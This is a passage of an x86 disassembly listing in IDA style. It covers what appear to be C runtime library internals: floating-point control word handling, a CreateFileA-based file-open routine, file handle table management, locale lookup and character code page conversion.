		add	edi, 0FFFFh
		test	edx, esi
		mov	[eax+4], edx
		mov	[eax], ecx
		jz	short loc_415934


loc_415953:				; CODE XREF: sub_4158A7+8Bj
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_41595C:				; CODE XREF: sub_4158A7+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4158A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415961	proc near		; CODE XREF: sub_411CCB+3Ep
					; sub_411DBE+42p ...

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_421360
		xor	eax, [ebp+4]
		push	esi
		mov	[ebp+var_4], eax
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4158A7
		pop	ecx
		pop	ecx
		push	offset word_4C5AE4
		push	0
		push	11h
		sub	esp, 0Ch
		lea	esi, [ebp+var_10]
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_417423
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		mov	dword_4C5B08, eax
		movsx	eax, byte_4C5AE6
		mov	dword_4C5B00, eax
		movsx	eax, word_4C5AE4
		mov	dword_4C5B04, eax
		add	esp, 18h
		mov	dword_4C5B0C, offset dword_4C5AE8
		mov	eax, offset dword_4C5B00
		call	sub_411BA5
		pop	edi
		pop	esi
		leave
		retn
sub_415961	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_40F82D
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4159E4	proc near		; CODE XREF: sub_415B04+Cp
		xor	eax, eax
		test	bl, 1
		jz	short loc_4159EE
		push	10h
		pop	eax


loc_4159EE:				; CODE XREF: sub_4159E4+5j
		test	bl, 4
		jz	short loc_4159F6
		or	eax, 8


loc_4159F6:				; CODE XREF: sub_4159E4+Dj
		test	bl, 8
		jz	short loc_4159FE
		or	eax, 4


loc_4159FE:				; CODE XREF: sub_4159E4+15j
		test	bl, 10h
		jz	short loc_415A06
		or	eax, 2


loc_415A06:				; CODE XREF: sub_4159E4+1Dj
		test	bl, 20h
		jz	short loc_415A0E
		or	eax, 1


loc_415A0E:				; CODE XREF: sub_4159E4+25j
		test	bl, 2
		jz	short loc_415A18
		or	eax, 80000h


loc_415A18:				; CODE XREF: sub_4159E4+2Dj
		push	ebp
		movzx	edx, bx
		push	esi
		mov	ecx, edx
		mov	esi, 0C00h
		and	ecx, esi
		push	edi
		mov	edi, 300h
		mov	ebp, 200h
		jz	short loc_415A54
		cmp	ecx, 400h
		jz	short loc_415A4F
		cmp	ecx, 800h
		jz	short loc_415A4B
		cmp	ecx, esi
		jnz	short loc_415A54
		or	eax, edi
		jmp	short loc_415A54
; ---------------------------------------------------------------------------


loc_415A4B:				; CODE XREF: sub_4159E4+5Dj
		or	eax, ebp
		jmp	short loc_415A54
; ---------------------------------------------------------------------------


loc_415A4F:				; CODE XREF: sub_4159E4+55j
		or	eax, 100h


loc_415A54:				; CODE XREF: sub_4159E4+4Dj
					; sub_4159E4+61j ...
		and	edx, edi
		jz	short loc_415A63
		cmp	edx, ebp
		jnz	short loc_415A68
		or	eax, 10000h
		jmp	short loc_415A68
; ---------------------------------------------------------------------------


loc_415A63:				; CODE XREF: sub_4159E4+72j
		or	eax, 20000h


loc_415A68:				; CODE XREF: sub_4159E4+76j
					; sub_4159E4+7Dj
		test	bh, 10h
		pop	edi
		pop	esi
		pop	ebp
		jz	short locret_415A75
		or	eax, 40000h

locret_415A75:				; CODE XREF: sub_4159E4+8Aj
		retn
sub_4159E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_415A76	proc near		; CODE XREF: sub_415B04+22p
		xor	eax, eax
		test	bl, 10h
		jz	short loc_415A7E
		inc	eax


loc_415A7E:				; CODE XREF: sub_415A76+5j
		test	bl, 8
		jz	short loc_415A86
		or	eax, 4


loc_415A86:				; CODE XREF: sub_415A76+Bj
		test	bl, 4
		jz	short loc_415A8E
		or	eax, 8


loc_415A8E:				; CODE XREF: sub_415A76+13j
		test	bl, 2
		jz	short loc_415A96
		or	eax, 10h


loc_415A96:				; CODE XREF: sub_415A76+1Bj
		test	bl, 1
		jz	short loc_415A9E
		or	eax, 20h


loc_415A9E:				; CODE XREF: sub_415A76+23j
		test	ebx, 80000h
		jz	short loc_415AA9
		or	eax, 2


loc_415AA9:				; CODE XREF: sub_415A76+2Ej
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		push	esi
		mov	esi, 200h
		jz	short loc_415ADD
		cmp	ecx, 100h
		jz	short loc_415AD8
		cmp	ecx, esi
		jz	short loc_415AD1
		cmp	ecx, edx
		jnz	short loc_415ADD
		or	eax, 0C00h
		jmp	short loc_415ADD
; ---------------------------------------------------------------------------


loc_415AD1:				; CODE XREF: sub_415A76+4Ej
		or	eax, 800h
		jmp	short loc_415ADD
; ---------------------------------------------------------------------------


loc_415AD8:				; CODE XREF: sub_415A76+4Aj
		or	eax, 400h


loc_415ADD:				; CODE XREF: sub_415A76+42j
					; sub_415A76+52j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_415AF3
		cmp	ecx, 10000h
		jnz	short loc_415AF5
		or	eax, esi
		jmp	short loc_415AF5
; ---------------------------------------------------------------------------


loc_415AF3:				; CODE XREF: sub_415A76+6Fj
		or	eax, edx


loc_415AF5:				; CODE XREF: sub_415A76+77j
					; sub_415A76+7Bj
		test	ebx, 40000h
		pop	esi
		jz	short locret_415B03
		or	eax, 1000h

locret_415B03:				; CODE XREF: sub_415A76+86j
		retn
sub_415A76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B04	proc near		; CODE XREF: sub_415B36+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		fstcw	word ptr [ebp+var_4]
		mov	ebx, [ebp+var_4]
		call	sub_4159E4
		mov	ebx, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	ebx, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	ebx, eax
		call	sub_415A76
		mov	[ebp+arg_4], eax
		fldcw	word ptr [ebp+arg_4]
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_415B04	endp


; =============== S U B	R O U T	I N E =======================================



sub_415B36	proc near		; CODE XREF: sub_411F96+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_415B04
		pop	ecx
		pop	ecx
		retn
sub_415B36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B4C	proc near		; CODE XREF: sub_412C19+137p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		test	cl, cl
		push	esi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jns	short loc_415B70
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_415B7B
; ---------------------------------------------------------------------------


loc_415B70:				; CODE XREF: sub_415B4C+19j
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_415B7B:				; CODE XREF: sub_415B4C+22j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_415B95
		test	ch, 40h
		jnz	short loc_415B91
		cmp	dword_4C5B28, eax
		jz	short loc_415B95


loc_415B91:				; CODE XREF: sub_415B4C+3Bj
		or	[ebp+var_1], 80h


loc_415B95:				; CODE XREF: sub_415B4C+36j
					; sub_415B4C+43j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_415BB8
		dec	eax
		jz	short loc_415BAF
		dec	eax
		jnz	short loc_415BD6
		mov	[ebp+var_10], 0C0000000h
		jmp	short loc_415BBF
; ---------------------------------------------------------------------------


loc_415BAF:				; CODE XREF: sub_415B4C+55j
		mov	[ebp+var_10], 40000000h
		jmp	short loc_415BBF
; ---------------------------------------------------------------------------


loc_415BB8:				; CODE XREF: sub_415B4C+52j
		mov	[ebp+var_10], 80000000h


loc_415BBF:				; CODE XREF: sub_415B4C+61j
					; sub_415B4C+6Aj
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_415C05
		cmp	eax, 20h
		jz	short loc_415BFC
		cmp	eax, 30h
		jz	short loc_415BF3
		cmp	eax, 40h
		jz	short loc_415BEE


loc_415BD6:				; CODE XREF: sub_415B4C+58j
		mov	dword_4C5904, 16h
		mov	dword_4C5908, ebx
		or	eax, 0FFFFFFFFh
		jmp	loc_415DCD
; ---------------------------------------------------------------------------


loc_415BEE:				; CODE XREF: sub_415B4C+88j
		mov	[ebp+var_8], esi
		jmp	short loc_415C08
; ---------------------------------------------------------------------------


loc_415BF3:				; CODE XREF: sub_415B4C+83j
		mov	[ebp+var_8], 2
		jmp	short loc_415C08
; ---------------------------------------------------------------------------


loc_415BFC:				; CODE XREF: sub_415B4C+7Ej
		mov	[ebp+var_8], 1
		jmp	short loc_415C08
; ---------------------------------------------------------------------------


loc_415C05:				; CODE XREF: sub_415B4C+79j
		mov	[ebp+var_8], ebx


loc_415C08:				; CODE XREF: sub_415B4C+A5j
					; sub_415B4C+AEj ...
		mov	eax, ecx
		mov	edx, 700h
		and	eax, edx
		mov	ecx, 400h
		cmp	eax, ecx
		push	edi
		mov	edi, 100h
		jg	short loc_415C4F
		jz	short loc_415C4A
		cmp	eax, ebx
		jz	short loc_415C4A
		cmp	eax, edi
		jz	short loc_415C41
		cmp	eax, 200h
		jz	short loc_415C79
		cmp	eax, 300h
		jnz	short loc_415C61
		mov	[ebp+var_C], 2
		jmp	short loc_415C89
; ---------------------------------------------------------------------------


loc_415C41:				; CODE XREF: sub_415B4C+DCj
		mov	[ebp+var_C], 4
		jmp	short loc_415C89
; ---------------------------------------------------------------------------


loc_415C4A:				; CODE XREF: sub_415B4C+D4j
					; sub_415B4C+D8j
		mov	[ebp+var_C], esi
		jmp	short loc_415C89
; ---------------------------------------------------------------------------


loc_415C4F:				; CODE XREF: sub_415B4C+D2j
		cmp	eax, 500h
		jz	short loc_415C82
		cmp	eax, 600h
		jz	short loc_415C79
		cmp	eax, edx
		jz	short loc_415C82


loc_415C61:				; CODE XREF: sub_415B4C+EAj
		mov	dword_4C5904, 16h
		mov	dword_4C5908, ebx


loc_415C71:				; CODE XREF: sub_415B4C+2CBj
		or	eax, 0FFFFFFFFh
		jmp	loc_415DCC
; ---------------------------------------------------------------------------


loc_415C79:				; CODE XREF: sub_415B4C+E3j
					; sub_415B4C+10Fj
		mov	[ebp+var_C], 5
		jmp	short loc_415C89
; ---------------------------------------------------------------------------


loc_415C82:				; CODE XREF: sub_415B4C+108j
					; sub_415B4C+113j
		mov	[ebp+var_C], 1


loc_415C89:				; CODE XREF: sub_415B4C+F3j
					; sub_415B4C+FCj ...
		mov	eax, [ebp+arg_4]
		test	eax, edi
		mov	esi, 80h
		jz	short loc_415CA7
		mov	ecx, dword_4C590C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, cl
		js	short loc_415CA7
		xor	esi, esi
		inc	esi


loc_415CA7:				; CODE XREF: sub_415B4C+147j
					; sub_415B4C+156j
		test	al, 40h
		jz	short loc_415CC2
		or	byte ptr [ebp+var_10+2], 1
		or	esi, 4000000h
		cmp	dword_4C5910, 2
		jnz	short loc_415CC2
		or	[ebp+var_8], 4


loc_415CC2:				; CODE XREF: sub_415B4C+15Dj
					; sub_415B4C+170j
		test	ah, 10h
		jz	short loc_415CC9
		or	esi, edi


loc_415CC9:				; CODE XREF: sub_415B4C+179j
		test	al, 20h
		jz	short loc_415CD5
		or	esi, 8000000h
		jmp	short loc_415CDF
; ---------------------------------------------------------------------------


loc_415CD5:				; CODE XREF: sub_415B4C+17Fj
		test	al, 10h
		jz	short loc_415CDF
		or	esi, 10000000h


loc_415CDF:				; CODE XREF: sub_415B4C+187j
					; sub_415B4C+18Bj
		call	sub_415E1C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_415D05
		and	dword_4C5908, 0
		mov	dword_4C5904, 18h


loc_415CFE:				; CODE XREF: sub_415B4C+1F7j
		mov	eax, edi
		jmp	loc_415DCC
; ---------------------------------------------------------------------------


loc_415D05:				; CODE XREF: sub_415B4C+19Fj
		push	0
		push	esi
		push	[ebp+var_C]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_8]
		push	[ebp+var_10]
		push	[ebp+arg_0]
		call	dword_4190E0	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_415D36
		push	esi
		call	dword_4191B0	; GetFileType
		test	eax, eax
		jnz	short loc_415D45
		push	esi
		call	dword_419064	; CloseHandle


loc_415D36:				; CODE XREF: sub_415B4C+1D6j
		call	dword_4190AC	; RtlGetLastWin32Error
		push	eax
		call	sub_412BBA
		pop	ecx
		jmp	short loc_415CFE
; ---------------------------------------------------------------------------


loc_415D45:				; CODE XREF: sub_415B4C+1E1j
		cmp	eax, 2
		jnz	short loc_415D50
		or	[ebp+var_1], 40h
		jmp	short loc_415D59
; ---------------------------------------------------------------------------


loc_415D50:				; CODE XREF: sub_415B4C+1FCj
		cmp	eax, 3
		jnz	short loc_415D59
		or	[ebp+var_1], 8


loc_415D59:				; CODE XREF: sub_415B4C+202j
					; sub_415B4C+207j
		push	esi
		push	ebx
		call	sub_415EB9
		mov	al, [ebp+var_1]
		pop	ecx
		pop	ecx
		mov	ecx, ebx
		sar	ecx, 5
		or	al, 1
		mov	esi, ebx
		and	esi, 1Fh
		lea	edi, ds:4C5DC0h[ecx*4]
		mov	ecx, [edi]
		shl	esi, 3
		mov	[ebp+var_1], al
		and	[ebp+var_1], 48h
		mov	[ecx+esi+4], al
		jnz	short loc_415DB5
		test	al, al
		jns	short loc_415DB5
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_415DB5
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_4134BF
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_415DD1
		cmp	dword_4C5908, 83h
		jnz	short loc_415E10


loc_415DB5:				; CODE XREF: sub_415B4C+23Cj
					; sub_415B4C+240j ...
		cmp	[ebp+var_1], 0
		jnz	short loc_415DCA
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_415DCA
		mov	eax, [edi]
		lea	eax, [eax+esi+4]
		or	byte ptr [eax],	20h


loc_415DCA:				; CODE XREF: sub_415B4C+26Dj
					; sub_415B4C+273j
		mov	eax, ebx


loc_415DCC:				; CODE XREF: sub_415B4C+128j
					; sub_415B4C+1B4j
		pop	edi


loc_415DCD:				; CODE XREF: sub_415B4C+9Dj
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_415DD1:				; CODE XREF: sub_415B4C+25Bj
		and	[ebp+var_2], 0
		push	1
		lea	eax, [ebp+var_2]
		push	eax
		push	ebx
		call	sub_41050F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415DFE
		cmp	[ebp+var_2], 1Ah
		jnz	short loc_415DFE
		push	[ebp+var_10]
		push	ebx
		call	sub_4176B7
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jz	short loc_415E10


loc_415DFE:				; CODE XREF: sub_415B4C+29Aj
					; sub_415B4C+2A0j
		push	0
		push	0
		push	ebx
		call	sub_4134BF
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_415DB5


loc_415E10:				; CODE XREF: sub_415B4C+267j
					; sub_415B4C+2B0j
		push	ebx
		call	sub_412DF3
		pop	ecx
		jmp	loc_415C71
sub_415B4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E1C	proc near		; CODE XREF: sub_415B4C:loc_415CDFp
		push	ebx
		push	ebp
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	esi, esi
		xor	edx, edx
		mov	ecx, offset dword_4C5DC0
		mov	edi, 100h


loc_415E31:				; CODE XREF: sub_415E1C+54j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_415E74
		lea	ebp, [eax+100h]
		jmp	short loc_415E4C
; ---------------------------------------------------------------------------


loc_415E3F:				; CODE XREF: sub_415E1C+32j
		test	byte ptr [eax+4], 1
		jz	short loc_415E52
		mov	ebp, [ecx]
		add	eax, 8
		add	ebp, edi


loc_415E4C:				; CODE XREF: sub_415E1C+21j
		cmp	eax, ebp
		jb	short loc_415E3F
		jmp	short loc_415E63
; ---------------------------------------------------------------------------


loc_415E52:				; CODE XREF: sub_415E1C+27j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, edx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_415EB2


loc_415E63:				; CODE XREF: sub_415E1C+34j
		add	ecx, 4
		inc	esi
		add	edx, 20h
		cmp	ecx, offset dword_4C5EC0
		jl	short loc_415E31
		jmp	short loc_415EB2
; ---------------------------------------------------------------------------


loc_415E74:				; CODE XREF: sub_415E1C+19j
		push	edi
		call	sub_40E74F
		test	eax, eax
		pop	ecx
		jz	short loc_415EB2
		add	dword_4C5DA0, 20h
		lea	ecx, ds:4C5DC0h[esi*4]
		mov	[ecx], eax
		lea	edx, [eax+100h]
		jmp	short loc_415EA9
; ---------------------------------------------------------------------------


loc_415E97:				; CODE XREF: sub_415E1C+8Fj
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, edi


loc_415EA9:				; CODE XREF: sub_415E1C+79j
		cmp	eax, edx
		jb	short loc_415E97
		shl	esi, 5
		mov	ebx, esi


loc_415EB2:				; CODE XREF: sub_415E1C+45j
					; sub_415E1C+56j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, ebx
		pop	ebx
		retn
sub_415E1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_415EB9	proc near		; CODE XREF: sub_415B4C+20Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4C5DA0
		push	esi
		push	edi
		jnb	short loc_415F19
		mov	ecx, eax
		sar	ecx, 5
		mov	esi, eax
		and	esi, 1Fh
		lea	edi, ds:4C5DC0h[ecx*4]
		mov	ecx, [edi]
		shl	esi, 3
		cmp	dword ptr [esi+ecx], 0FFFFFFFFh
		jnz	short loc_415F19
		cmp	dword_421254, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_415F0F
		sub	eax, 0
		jz	short loc_415F06
		dec	eax
		jz	short loc_415F01
		dec	eax
		jnz	short loc_415F0F
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_415F09
; ---------------------------------------------------------------------------


loc_415F01:				; CODE XREF: sub_415EB9+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_415F09
; ---------------------------------------------------------------------------


loc_415F06:				; CODE XREF: sub_415EB9+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_415F09:				; CODE XREF: sub_415EB9+46j
					; sub_415EB9+4Bj
		call	dword_419184	; SetStdHandle


loc_415F0F:				; CODE XREF: sub_415EB9+36j
					; sub_415EB9+41j
		mov	eax, [edi]
		mov	[esi+eax], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_415F2D
; ---------------------------------------------------------------------------


loc_415F19:				; CODE XREF: sub_415EB9+Cj
					; sub_415EB9+28j
		and	dword_4C5908, 0
		mov	dword_4C5904, 9
		or	eax, 0FFFFFFFFh


loc_415F2D:				; CODE XREF: sub_415EB9+5Ej
		pop	edi
		pop	esi
		retn
sub_415EB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F30	proc near		; CODE XREF: sub_412DF3+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	ecx, dword_4C5DA0
		push	esi
		push	edi
		jnb	short loc_415F93
		mov	eax, ecx
		sar	eax, 5
		mov	esi, ecx
		lea	edi, ds:4C5DC0h[eax*4]
		mov	eax, [edi]
		and	esi, 1Fh
		shl	esi, 3
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_415F93
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_415F93
		cmp	dword_421254, 1
		jnz	short loc_415F89
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_415F80
		dec	ecx
		jz	short loc_415F7B
		dec	ecx
		jnz	short loc_415F89
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_415F83
; ---------------------------------------------------------------------------


loc_415F7B:				; CODE XREF: sub_415F30+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_415F83
; ---------------------------------------------------------------------------


loc_415F80:				; CODE XREF: sub_415F30+3Ej
		push	eax
		push	0FFFFFFF6h


loc_415F83:				; CODE XREF: sub_415F30+49j
					; sub_415F30+4Ej
		call	dword_419184	; SetStdHandle


loc_415F89:				; CODE XREF: sub_415F30+38j
					; sub_415F30+44j
		mov	eax, [edi]
		or	dword ptr [esi+eax], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_415FA7
; ---------------------------------------------------------------------------


loc_415F93:				; CODE XREF: sub_415F30+Cj
					; sub_415F30+2Aj ...
		and	dword_4C5908, 0
		mov	dword_4C5904, 9
		or	eax, 0FFFFFFFFh


loc_415FA7:				; CODE XREF: sub_415F30+61j
		pop	edi
		pop	esi
		retn
sub_415F30	endp


; =============== S U B	R O U T	I N E =======================================



sub_415FAA	proc near		; CODE XREF: sub_412DF3+32p
					; sub_412DF3+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4C5DA0
		jnb	short loc_415FD1
		mov	ecx, eax
		sar	ecx, 5
		mov	ecx, dword_4C5DC0[ecx*4]
		and	eax, 1Fh
		lea	eax, [ecx+eax*8]
		test	byte ptr [eax+4], 1
		jz	short loc_415FD1
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_415FD1:				; CODE XREF: sub_415FAA+Aj
					; sub_415FAA+22j
		and	dword_4C5908, 0
		mov	dword_4C5904, 9
		or	eax, 0FFFFFFFFh
		retn
sub_415FAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415FE6	proc near		; CODE XREF: sub_412ED1+27Dp
					; sub_41512C+15Ep

var_C		= byte ptr -0Ch
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_421360
		xor	eax, [ebp+4]
		and	[ebp+var_6], 0
		push	6
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	1004h
		push	[ebp+arg_0]
		call	dword_41914C	; GetLocaleInfoA
		test	eax, eax
		jnz	short loc_416018
		or	eax, 0FFFFFFFFh
		jmp	short loc_416022
; ---------------------------------------------------------------------------


loc_416018:				; CODE XREF: sub_415FE6+2Bj
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_40E070
		pop	ecx


loc_416022:				; CODE XREF: sub_415FE6+30j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		call	sub_411BA5
		leave
		retn
sub_415FE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41602F	proc near		; CODE XREF: sub_412ED1+2A8p
					; sub_412ED1+366p ...

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	38h
		push	offset stru_41C768
		call	__SEH_prolog
		mov	eax, dword_421360
		xor	eax, [ebp+4]
		mov	[ebp+var_1C], eax
		xor	edi, edi
		mov	[ebp+var_20], edi
		mov	[ebp+var_24], edi
		mov	eax, [ebp+arg_C]
		mov	ebx, [eax]
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], edi
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jz	loc_4161D8
		lea	ecx, [ebp+var_40]
		push	ecx
		push	eax
		mov	esi, dword_4191A4
		call	esi	; GetCPInfo
		test	eax, eax
		jz	short loc_416096
		cmp	[ebp+var_40], 1
		jnz	short loc_416096
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_4]
		call	esi	; GetCPInfo
		test	eax, eax
		jz	short loc_416096
		cmp	[ebp+var_40], 1
		jnz	short loc_416096
		mov	[ebp+var_2C], 1


loc_416096:				; CODE XREF: sub_41602F+45j
					; sub_41602F+4Bj ...
		cmp	[ebp+var_2C], edi
		jz	short loc_4160B5
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4160A4
		mov	esi, ebx
		jmp	short loc_4160B0
; ---------------------------------------------------------------------------


loc_4160A4:				; CODE XREF: sub_41602F+6Fj
		push	[ebp+arg_8]
		call	sub_40D630
		pop	ecx
		mov	esi, eax
		inc	esi


loc_4160B0:				; CODE XREF: sub_41602F+73j
		mov	[ebp+var_44], esi
		jmp	short loc_4160B8
; ---------------------------------------------------------------------------


loc_4160B5:				; CODE XREF: sub_41602F+6Aj
		mov	esi, [ebp+var_44]


loc_4160B8:				; CODE XREF: sub_41602F+84j
		cmp	[ebp+var_2C], edi
		jnz	short loc_4160D7
		push	edi
		push	edi
		push	ebx
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_0]
		call	dword_41913C	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_44], esi
		cmp	esi, edi
		jz	short loc_41612F


loc_4160D7:				; CODE XREF: sub_41602F+8Cj
		mov	[ebp+ms_exc.disabled], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_40D9A0
		mov	[ebp+ms_exc.old_esp], esp
		mov	ebx, esp
		mov	[ebp+var_48], ebx
		lea	eax, [esi+esi]
		push	eax
		push	edi
		push	ebx
		call	sub_40D7B0
		add	esp, 0Ch
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_41611B
; ---------------------------------------------------------------------------


loc_416104:				; DATA XREF: .text:stru_41C768o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_416108:				; DATA XREF: .text:stru_41C768o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_414EC1
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	esi, [ebp+var_44]


loc_41611B:				; CODE XREF: sub_41602F+D3j
		cmp	ebx, edi
		jnz	short loc_41613D
		push	esi
		push	2
		call	sub_410733
		pop	ecx
		pop	ecx
		mov	ebx, eax
		cmp	ebx, edi
		jnz	short loc_416136


loc_41612F:				; CODE XREF: sub_41602F+A6j
		xor	eax, eax
		jmp	loc_4161EA
; ---------------------------------------------------------------------------


loc_416136:				; CODE XREF: sub_41602F+FEj
		mov	[ebp+var_24], 1


loc_41613D:				; CODE XREF: sub_41602F+EEj
		push	esi
		push	ebx
		push	[ebp+var_28]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_0]
		call	dword_41913C	; MultiByteToWideChar
		test	eax, eax
		jz	loc_4161DB
		cmp	[ebp+arg_10], edi
		jz	short loc_41617D
		push	edi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	ebx
		push	edi
		push	[ebp+arg_4]
		call	dword_419058	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_4161DB
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		jmp	short loc_4161DB
; ---------------------------------------------------------------------------


loc_41617D:				; CODE XREF: sub_41602F+12Cj
		cmp	[ebp+var_2C], edi
		jnz	short loc_416198
		push	edi
		push	edi
		push	edi
		push	edi
		push	esi
		push	ebx
		push	edi
		push	[ebp+arg_4]
		call	dword_419058	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_4161DB


loc_416198:				; CODE XREF: sub_41602F+151j
		push	esi
		push	1
		call	sub_410733
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, edi
		jz	short loc_4161DB
		push	edi
		push	edi
		push	esi
		push	eax
		push	esi
		push	ebx
		push	edi
		push	[ebp+arg_4]
		call	dword_419058	; WideCharToMultiByte
		cmp	eax, edi
		jnz	short loc_4161CB
		push	[ebp+var_20]
		call	sub_40E359
		pop	ecx
		mov	[ebp+var_20], edi
		jmp	short loc_4161DB
; ---------------------------------------------------------------------------


loc_4161CB:				; CODE XREF: sub_41602F+18Cj
		cmp	[ebp+var_28], 0FFFFFFFFh
		jz	short loc_4161DB
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
